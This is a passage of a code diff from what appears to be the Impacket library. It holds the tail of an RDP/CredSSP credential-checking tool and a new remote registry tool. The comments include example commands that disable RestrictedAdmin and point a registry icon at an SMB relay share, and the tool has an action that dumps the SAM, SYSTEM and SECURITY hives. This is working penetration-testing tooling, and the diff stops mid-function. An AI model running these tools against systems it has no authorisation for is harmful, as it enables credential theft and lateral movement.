+       # The INTEGER tag must be here
+       if unpack('B',next_bytes[0:1])[0] != 0x02:
+           raise Exception('INTEGER tag not found %r' % next_byte)
+       next_byte, _ = asn1decode(next_bytes[1:])
+       self['Version'] = unpack('B',next_byte)[0]
+       decode_data = decode_data[total_bytes:]
+       next_byte = unpack('B',decode_data[:1])[0]
+       if next_byte == 0xa1:
+           # We found the negoData token
+           decode_data, total_bytes = asn1decode(decode_data[1:])
+       
+           next_byte = unpack('B',decode_data[:1])[0]
+           if next_byte != ASN1_SEQUENCE:
+               raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
+           decode_data, total_bytes = asn1decode(decode_data[1:])
+
+           next_byte = unpack('B',decode_data[:1])[0]
+           if next_byte != ASN1_SEQUENCE:
+               raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
+           decode_data, total_bytes = asn1decode(decode_data[1:])
+
+           next_byte = unpack('B',decode_data[:1])[0]
+           if next_byte != 0xa0:
+               raise Exception('0xa0 tag not found %r' % next_byte)
+           decode_data, total_bytes = asn1decode(decode_data[1:])
+   
+           next_byte = unpack('B',decode_data[:1])[0]
+           if next_byte != ASN1_OCTET_STRING:
+               raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
+           decode_data2, total_bytes = asn1decode(decode_data[1:])
+           # the rest should be the data
+           self['NegoData'] = decode_data2
+           decode_data = decode_data[total_bytes+1:]
+
+       if next_byte == 0xa2:
+           # ToDo: Check all this
+           # We found the authInfo token
+           decode_data, total_bytes = asn1decode(decode_data[1:])
+           next_byte = unpack('B',decode_data[:1])[0]
+           if next_byte != ASN1_OCTET_STRING:
+               raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
+           decode_data2, total_bytes = asn1decode(decode_data[1:])
+           self['authInfo'] = decode_data2
+           decode_data = decode_data[total_bytes+1:]
+
+       if next_byte == 0xa3:
+           # ToDo: Check all this
+           # We found the pubKeyAuth token
+           decode_data, total_bytes = asn1decode(decode_data[1:])
+           next_byte = unpack('B',decode_data[:1])[0]
+           if next_byte != ASN1_OCTET_STRING:
+               raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
+           decode_data2, total_bytes = asn1decode(decode_data[1:])
+           self['pubKeyAuth'] = decode_data2
+
+   def getData(self):
+     # Do we have pubKeyAuth?
+     if 'pubKeyAuth' in self.fields:
+         pubKeyAuth = pack('B',0xa3)
+         pubKeyAuth += asn1encode(pack('B', ASN1_OCTET_STRING) +
+                       asn1encode(self['pubKeyAuth']))
+     else:
+         pubKeyAuth = b''
+
+     if 'authInfo' in self.fields:
+         authInfo = pack('B',0xa2)
+         authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) +
+                       asn1encode(self['authInfo']))
+     else: 
+         authInfo = b''
+
+     if 'NegoData' in self.fields:
+         negoData = pack('B',0xa1) 
+         negoData += asn1encode(pack('B', ASN1_SEQUENCE) +
+                    asn1encode(pack('B', ASN1_SEQUENCE) + 
+                    asn1encode(pack('B', 0xa0) + 
+                    asn1encode(pack('B', ASN1_OCTET_STRING) + 
+                    asn1encode(self['NegoData'])))))
+     else:
+         negoData = b''
+     ans = pack('B', ASN1_SEQUENCE)
+     ans += asn1encode(pack('B',0xa0) + 
+            asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) +
+            negoData + authInfo + pubKeyAuth)
+     
+     return ans
+
+if __name__ == '__main__':
+
+    import socket
+    import argparse
+    import sys
+    import logging
+    from binascii import a2b_hex
+    from Cryptodome.Cipher import ARC4
+    from impacket import ntlm, version
+    try:
+        from OpenSSL import SSL, crypto
+    except:
+        logging.critical("pyOpenSSL is not installed, can't continue")
+        sys.exit(1)
+    
+
+    class SPNEGOCipher:
+        def __init__(self, flags, randomSessionKey):
+            self.__flags = flags
+            if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
+                self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
+                self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
+                self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
+                # Preparing the keys handle states
+                cipher3 = ARC4.new(self.__clientSealingKey)
+                self.__clientSealingHandle = cipher3.encrypt
+                cipher4 = ARC4.new(self.__serverSealingKey)
+                self.__serverSealingHandle = cipher4.encrypt
+            else:
+                # Same key for everything
+                self.__clientSigningKey = randomSessionKey
+                self.__serverSigningKey = randomSessionKey
+                self.__clientSealingKey = randomSessionKey
+                self.__clientSealingKey = randomSessionKey
+                cipher = ARC4.new(self.__clientSigningKey)
+                self.__clientSealingHandle = cipher.encrypt
+                self.__serverSealingHandle = cipher.encrypt
+            self.__sequence = 0
+
+        def encrypt(self, plain_data):
+            if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                # When NTLM2 is on, we sign the whole pdu, but encrypt just
+                # the data, not the dcerpc header. Weird..
+                sealedMessage, signature =  ntlm.SEAL(self.__flags, 
+                       self.__clientSigningKey, 
+                       self.__clientSealingKey,  
+                       plain_data, 
+                       plain_data, 
+                       self.__sequence, 
+                       self.__clientSealingHandle)
+            else:
+                sealedMessage, signature =  ntlm.SEAL(self.__flags, 
+                       self.__clientSigningKey, 
+                       self.__clientSealingKey,  
+                       plain_data, 
+                       plain_data, 
+                       self.__sequence, 
+                       self.__clientSealingHandle)
+
+            self.__sequence += 1
+
+            return signature, sealedMessage
+
+        def decrypt(self, answer):
+            if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
+                # TODO: FIX THIS, it's not calculating the signature well
+                # Since I'm not testing it we don't care... yet
+                answer, signature =  ntlm.SEAL(self.__flags, 
+                        self.__serverSigningKey, 
+                        self.__serverSealingKey,  
+                        answer, 
+                        answer, 
+                        self.__sequence, 
+                        self.__serverSealingHandle)
+            else:
+                answer, signature = ntlm.SEAL(self.__flags, 
+                        self.__serverSigningKey, 
+                        self.__serverSealingKey, 
+                        answer, 
+                        answer, 
+                        self.__sequence, 
+                        self.__serverSealingHandle)
+                self.__sequence += 1
+
+            return signature, answer
+
+    def check_rdp(host, username, password, domain, hashes = None):
+
+       if hashes is not None:
+           lmhash, nthash = hashes.split(':')
+           lmhash = a2b_hex(lmhash)
+           nthash = a2b_hex(nthash)
+
+       else:
+           lmhash = ''
+           nthash = ''
+
+       tpkt = TPKT()
+       tpdu = TPDU()
+       rdp_neg = RDP_NEG_REQ()
+       rdp_neg['Type'] = TYPE_RDP_NEG_REQ
+       rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
+       tpdu['VariablePart'] = rdp_neg.getData()
+       tpdu['Code'] = TDPU_CONNECTION_REQUEST
+       tpkt['TPDU'] = tpdu.getData()
+   
+       s = socket.socket()
+       s.connect((host,3389))
+       s.sendall(tpkt.getData())
+       pkt = s.recv(8192)
+       tpkt.fromString(pkt)
+       tpdu.fromString(tpkt['TPDU'])
+       cr_tpdu = CR_TPDU(tpdu['VariablePart'])
+       if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
+           rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
+           rdp_failure.dump()
+           logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials")
+           return
+       else:
+           rdp_neg.fromString(tpdu['VariablePart'])
+
+       # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation
+
+       # 1. The CredSSP client and CredSSP server first complete the TLS handshake, 
+       # as specified in [RFC2246]. After the handshake is complete, all subsequent 
+       # CredSSP Protocol messages are encrypted by the TLS channel. 
+       # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS 
+       # handshake, the CredSSP server does not request the client's X.509 certificate 
+       # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require 
+       # the client to have a commonly trusted certification authority root with the 
+       # CredSSP server. Thus, the CredSSP server MAY use, for example, 
+       # a self-signed X.509 certificate.
+
+       # Switching to TLS now
+       ctx = SSL.Context(SSL.TLS_METHOD)
+       ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
+       SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION = 0x00040000
+       ctx.set_options(SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION)
+       ctx.set_options(SSL.OP_DONT_INSERT_EMPTY_FRAGMENTS)
+       tls = SSL.Connection(ctx,s)
+       tls.set_connect_state()
+       tls.do_handshake()
+
+       # If you want to use Python internal ssl, uncomment this and comment 
+       # the previous lines
+       #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')
+
+       # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client 
+       # and server completes mutual authentication and establishes an encryption key 
+       # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. 
+       # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to 
+       # the calling application (the CredSSP client and CredSSP server). 
+       # The wire protocol for SPNEGO is specified in [MS-SPNG].
+       # The SPNEGO tokens exchanged between the client and the server are encapsulated 
+       # in the negoTokens field of the TSRequest structure. Both the client and the 
+       # server use this structure as many times as necessary to complete the SPNEGO 
+       # exchange.<9>
+       #
+       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 
+       # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth 
+       # field is omitted by the client unless the client is sending the last SPNEGO token. 
+       # If the client is sending the last SPNEGO token, the TSRequest structure MUST have 
+       # both the negoToken and the pubKeyAuth fields filled in.
+
+       # NTLMSSP stuff
+       auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)
+
+       ts_request = TSRequest()
+       ts_request['NegoData'] = auth.getData()
+
+       tls.send(ts_request.getData())
+       buff = tls.recv(4096)
+       ts_request.fromString(buff)
+
+       # 3. The client encrypts the public key it received from the server (contained 
+       # in the X.509 certificate) in the TLS handshake from step 1, by using the 
+       # confidentiality support of SPNEGO. The public key that is encrypted is the 
+       # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 
+       # certificate, as specified in [RFC3280] section 4.1. The encrypted key is 
+       # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over 
+       # the TLS channel to the server. 
+       #
+       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 
+       # from the TSRequest structure; the client MUST send its last SPNEGO token to the 
+       # server in the negoTokens field (see step 2) along with the encrypted public key 
+       # in the pubKeyAuth field.
+
+       # Last SPNEGO token calculation
+       #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
+       type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)
+
+       # Get server public key
+       server_cert =  tls.get_peer_certificate()
+       pkey = server_cert.get_pubkey()
+       dump = crypto.dump_publickey(crypto.FILETYPE_ASN1, pkey)
+       # Parsing the key from ASN1 encoded
+       dump = dump[24:]
+
+       cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
+       signature, cripted_key = cipher.encrypt(dump)
+       ts_request['NegoData'] = type3.getData()
+       ts_request['pubKeyAuth'] = signature.getData() + cripted_key
+
+       try:
+           # Sending the Type 3 NTLM blob
+           tls.send(ts_request.getData())
+           # The other end is waiting for the pubKeyAuth field, but looks like it's
+           # not needed to check whether authentication worked.
+           # If auth is unsuccessful, it throws an exception with the previous send().
+           # If auth is successful, the server waits for the pubKeyAuth and doesn't answer 
+           # anything. So, I'm sending garbage so the server returns an error. 
+           # Luckily, it's a different error so we can determine whether or not auth worked ;)
+           buff = tls.recv(1024)
+       except Exception as err:
+           if str(err).find("denied") > 0:
+               logging.error("Access Denied")
+           else:
+               logging.error(err)
+           return
+
+       # 4. After the server receives the public key in step 3, it first verifies that 
+       # it has the same public key that it used as part of the TLS handshake in step 1. 
+       # The server then adds 1 to the first byte representing the public key (the ASN.1 
+       # structure corresponding to the SubjectPublicKey field, as described in step 3) 
+       # and encrypts the binary result by using the SPNEGO encryption services. 
+       # Due to the addition of 1 to the binary data, and encryption of the data as a binary 
+       # structure, the resulting value may not be valid ASN.1-encoded values. 
+       # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest 
+       # structure and is sent over the encrypted TLS channel to the client. 
+       # The addition of 1 to the first byte of the public key is performed so that the 
+       # client-generated pubKeyAuth message cannot be replayed back to the client by an 
+       # attacker.
+       #
+       # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens 
+       # fields are omitted from the TSRequest structure.
+
+       ts_request = TSRequest(buff)
+
+       # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
+       signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
+
+       # 5. After the client successfully verifies server authenticity by performing a 
+       # binary comparison of the data from step 4 to that of the data representing 
+       # the public key from the server's X.509 certificate (as specified in [RFC3280], 
+       # section 4.1), it encrypts the user's credentials (either password or smart card 
+       # PIN) by using the SPNEGO encryption services. The resulting value is 
+       # encapsulated in the authInfo field of the TSRequest structure and sent over 
+       # the encrypted TLS channel to the server.
+       # The TSCredentials structure within the authInfo field of the TSRequest 
+       # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, 
+       # but MUST NOT contain both.
+       #
+       # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens 
+       # fields are omitted from the TSRequest structure.
+       tsp = TSPasswordCreds()
+       tsp['domainName'] = domain
+       tsp['userName']   = username
+       tsp['password']   = password
+       tsc = TSCredentials()
+       tsc['credType'] = 1 # TSPasswordCreds
+       tsc['credentials'] = tsp.getData()
+
+       signature, cripted_creds = cipher.encrypt(tsc.getData())
+       ts_request = TSRequest()
+       ts_request['authInfo'] = signature.getData() + cripted_creds
+       tls.send(ts_request.getData())
+       tls.close()
+       logging.info("Access Granted")
+
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target "
+                                                                    "host using the RDP protocol.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+ 
+    options = parser.parse_args()
+
+    domain, username, password, address = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    check_rdp(address, username, password, domain, options.hashes)
diff --git a/examples/reg.py b/examples/reg.py
new file mode 100644
index 0000000..1047dc4
--- /dev/null
+++ b/examples/reg.py
@@ -0,0 +1,652 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Remote registry manipulation tool.
+#   The idea is to provide similar functionality as the REG.EXE Windows utility.
+#
+#   e.g:
+#       ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s
+#       ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
+#       ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Services\\NewService
+#       ./reg.py Administrator:password@targetMachine add -keyName HKCR\\hlpfile\\DefaultIcon  -v '' -vd '\\SMBRelay\share'
+#       ./reg.py Administrator:password@targetMachine delete -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin
+#
+# Author:
+#   Manuel Porto (@manuporto)
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   [MS-RRP]
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import codecs
+import logging
+import sys
+import time
+from struct import unpack
+
+from impacket import version
+from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.system_errors import ERROR_NO_MORE_ITEMS
+from impacket.structure import hexdump
+from impacket.smbconnection import SMBConnection
+from impacket.dcerpc.v5.dtypes import READ_CONTROL
+
+
+class RemoteOperations:
+    def __init__(self, smbConnection, doKerberos, kdcHost=None):
+        self.__smbConnection = smbConnection
+        self.__smbConnection.setTimeout(5 * 60)
+        self.__serviceName = 'RemoteRegistry'
+        self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
+        self.__rrp = None
+        self.__regHandle = None
+
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+
+        self.__disabled = False
+        self.__shouldStop = False
+        self.__started = False
+
+        self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
+        self.__scmr = None
+
+    def getRRP(self):
+        return self.__rrp
+
+    def __connectSvcCtl(self):
+        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
+        rpc.set_smb_connection(self.__smbConnection)
+        self.__scmr = rpc.get_dce_rpc()
+        self.__scmr.connect()
+        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
+
+    def connectWinReg(self):
+        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
+        rpc.set_smb_connection(self.__smbConnection)
+        self.__rrp = rpc.get_dce_rpc()
+        self.__rrp.connect()
+        self.__rrp.bind(rrp.MSRPC_UUID_RRP)
+
+    def __checkServiceStatus(self):
+        # Open SC Manager
+        ans = scmr.hROpenSCManagerW(self.__scmr)
+        self.__scManagerHandle = ans['lpScHandle']
+        # Now let's open the service
+        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
+        self.__serviceHandle = ans['lpServiceHandle']
+        # Let's check its status
+        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
+        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
+            logging.info('Service %s is in stopped state' % self.__serviceName)
+            self.__shouldStop = True
+            self.__started = False
+        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
+            logging.debug('Service %s is already running' % self.__serviceName)
+            self.__shouldStop = False
+            self.__started = True
+        else:
+            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
+
+        # Let's check its configuration if service is stopped, maybe it's disabled :s
+        if self.__started is False:
+            ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle)
+            if ans['lpServiceConfig']['dwStartType'] == 0x4:
+                logging.info('Service %s is disabled, enabling it' % self.__serviceName)
+                self.__disabled = True
+                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3)
+            logging.info('Starting service %s' % self.__serviceName)
+            scmr.hRStartServiceW(self.__scmr, self.__serviceHandle)
+            time.sleep(1)
+
+    def enableRegistry(self):
+        self.__connectSvcCtl()
+        self.__checkServiceStatus()
+        self.connectWinReg()
+
+    def __restore(self):
+        # First of all stop the service if it was originally stopped
+        if self.__shouldStop is True:
+            logging.info('Stopping service %s' % self.__serviceName)
+            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
+        if self.__disabled is True:
+            logging.info('Restoring the disabled state for service %s' % self.__serviceName)
+            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4)
+
+    def finish(self):
+        self.__restore()
+        if self.__rrp is not None:
+            self.__rrp.disconnect()
+        if self.__scmr is not None:
+            self.__scmr.disconnect()
+
+
+class RegHandler:
+    def __init__(self, username, password, domain, options):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__options = options
+        self.__action = options.action.upper()
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = options.aesKey
+        self.__doKerberos = options.k
+        self.__kdcHost = options.dc_ip
+        self.__smbConnection = None
+        self.__remoteOps = None
+
+        # It's possible that this is defined somewhere, but I couldn't find where
+        self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD',
+                            5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'}
+
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+
+    def connect(self, remoteName, remoteHost):
+        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))
+
+        if self.__doKerberos:
+            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                               self.__nthash, self.__aesKey, self.__kdcHost)
+        else:
+            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+    def run(self, remoteName, remoteHost):
+        self.connect(remoteName, remoteHost)
+        self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
+
+        try:
+            self.__remoteOps.enableRegistry()
+        except Exception as e:
+            logging.debug(str(e))
+            logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
+            self.__remoteOps.connectWinReg()
+
+        try:
+            dce = self.__remoteOps.getRRP()
+
+            if self.__action == 'QUERY':
+                self.query(dce, self.__options.keyName)
+            elif self.__action == 'ADD':
+                self.add(dce, self.__options.keyName)
+            elif self.__action == 'DELETE':
+                self.delete(dce, self.__options.keyName)
+            elif self.__action == 'SAVE':
+                self.save(dce, self.__options.keyName)
+            elif self.__action == 'BACKUP':
+                for hive in ["HKLM\SAM", "HKLM\SYSTEM", "HKLM\SECURITY"]:
+                    self.save(dce, hive)
+            else:
+                logging.error('Method %s not implemented yet!' % self.__action)
+        except (Exception, KeyboardInterrupt) as e:
+            #import traceback
+            #traceback.print_exc()
+            logging.critical(str(e))
+        finally:
+            if self.__remoteOps:
+                self.__remoteOps.finish()
+
+    def save(self, dce, keyName):
+        hRootKey, subKey = self.__strip_root_key(dce, keyName)
+        outputFileName = "%s\%s.save" % (self.__options.outputPath, subKey)
+        logging.debug("Dumping %s, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)" % keyName)
+        try:
+            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
+            rrp.hBaseRegSaveKey(dce, ans2['phkResult'], outputFileName)
+            logging.info("Saved %s to %s" % (keyName, outputFileName))
+        except Exception as e:
+            logging.error("Couldn't save %s: %s" % (keyName, e))
+
+    def query(self, dce, keyName):
+        hRootKey, subKey = self.__strip_root_key(dce, keyName)
+
+        ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
+                                   samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
+
+        if self.__options.v:
+            print(keyName)
+            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)
+            print('\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1]))
+        elif self.__options.ve:
+            print(keyName)
+            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')
+            print('\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1]))
+        elif self.__options.s:
+            self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
+        else:
+            print(keyName)
+            self.__print_key_values(dce, ans2['phkResult'])
+            i = 0
+            while True:
+                try:
+                    key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
+                    print(keyName + '\\' + key['lpNameOut'][:-1])
+                    i += 1
+                except Exception:
+                    break
+                    # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult'])
+                    # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0)
+
+    def add(self, dce, keyName):
+        hRootKey, subKey = self.__strip_root_key(dce, keyName)
+
+        # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)
+        if self.__options.v is None: # Try to create subkey
+            subKeyCreate = subKey
+            subKey = '\\'.join(subKey.split('\\')[:-1])
+
+            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
+                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
+
+            # Should I use ans2?
+
+            ans3 = rrp.hBaseRegCreateKey(
+                dce, hRootKey, subKeyCreate,
+                samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY
+            )
+            if ans3['ErrorCode'] == 0:
+                print('Successfully set subkey %s' % (
+                    keyName
+                ))
+            else:
+                print('Error 0x%08x while creating subkey %s' % (
+                    ans3['ErrorCode'], keyName
+                ))
+
+        else: # Try to set value of key
+            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
+                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
+
+
+            dwType = getattr(rrp, self.__options.vt, None)
+
+            if dwType is None or not self.__options.vt.startswith('REG_'):
+                raise Exception('Error parsing value type %s' % self.__options.vt)
+
+            #Fix (?) for packValue function
+            if dwType in (
+                rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN,
+                rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN
+            ):
+                valueData = int(self.__options.vd)
+            else:
+                valueData = self.__options.vd
+
+            ans3 = rrp.hBaseRegSetValue(
+                dce, ans2['phkResult'], self.__options.v, dwType, valueData
+            )
+
+            if ans3['ErrorCode'] == 0:
+                print('Successfully set key %s\\%s of type %s to value %s' % (
+                    keyName, self.__options.v, self.__options.vt, valueData
+                ))
+            else:
+                print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % (
+                    ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData
+                ))
+
+    def delete(self, dce, keyName):
+        hRootKey, subKey = self.__strip_root_key(dce, keyName)
+
+        # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)
+        if self.__options.v is None and not self.__options.va and not self.__options.ve: # Try to delete subkey
+            subKeyDelete = subKey
+            subKey = '\\'.join(subKey.split('\\')[:-1])
+
+            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
+                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
+
+            # Should I use ans2?
+            try:
+                ans3 = rrp.hBaseRegDeleteKey(
+                    dce, hRootKey, subKeyDelete,
+                )
+            except rpcrt.DCERPCException as e:
+                if e.error_code == 5:
+                    #TODO: Check if DCERPCException appears only because of existing subkeys
+                    print('Cannot delete key %s. Possibly it contains subkeys or insufficient privileges' % keyName)
+                    return
+                else:
+                    raise
+            except Exception as e:
+                logging.error('Unhandled exception while hBaseRegDeleteKey')
+                return
+
+            if ans3['ErrorCode'] == 0:
+                print('Successfully deleted subkey %s' % (
+                    keyName
+                ))
+            else:
+                print('Error 0x%08x while deleting subkey %s' % (
+                    ans3['ErrorCode'], keyName
+                ))
+
+        elif self.__options.v: # Delete single value
+            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
+                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
+
+            ans3 = rrp.hBaseRegDeleteValue(
+                dce, ans2['phkResult'], self.__options.v
+            )
+
+            if ans3['ErrorCode'] == 0:
+                print('Successfully deleted key %s\\%s' % (
+                    keyName, self.__options.v
+                ))
+            else:
+                print('Error 0x%08x while deleting key %s\\%s' % (
+                    ans3['ErrorCode'], keyName, self.__options.v
+                ))
+
+        elif self.__options.ve:
+            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
+                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
+
+            ans3 = rrp.hBaseRegDeleteValue(
+                dce, ans2['phkResult'], ''
+            )
+
+            if ans3['ErrorCode'] == 0:
+                print('Successfully deleted value %s\\%s' % (
+                    keyName, 'Default'
+                ))
+            else:
+                print('Error 0x%08x while deleting value %s\\%s' % (
+                    ans3['ErrorCode'], keyName, self.__options.v
+                ))
+
+        elif self.__options.va:
+            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
+                                       samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
+            i = 0
+            allSubKeys = []
+            while True:
+                try:
+                    ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i)
+                    lp_value_name = ans3['lpValueNameOut'][:-1]
+                    allSubKeys.append(lp_value_name)
+                    i += 1
+                except rrp.DCERPCSessionError as e:
+                    if e.get_error_code() == ERROR_NO_MORE_ITEMS:
+                        break
+
+            ans4 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
+                                       samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
+            for subKey in allSubKeys:
+                try:
+                    ans5 = rrp.hBaseRegDeleteValue(
+                        dce, ans4['phkResult'], subKey
+                    )
+                    if ans5['ErrorCode'] == 0:
+                        print('Successfully deleted value %s\\%s' % (
+                            keyName, subKey
+                        ))
+                    else:
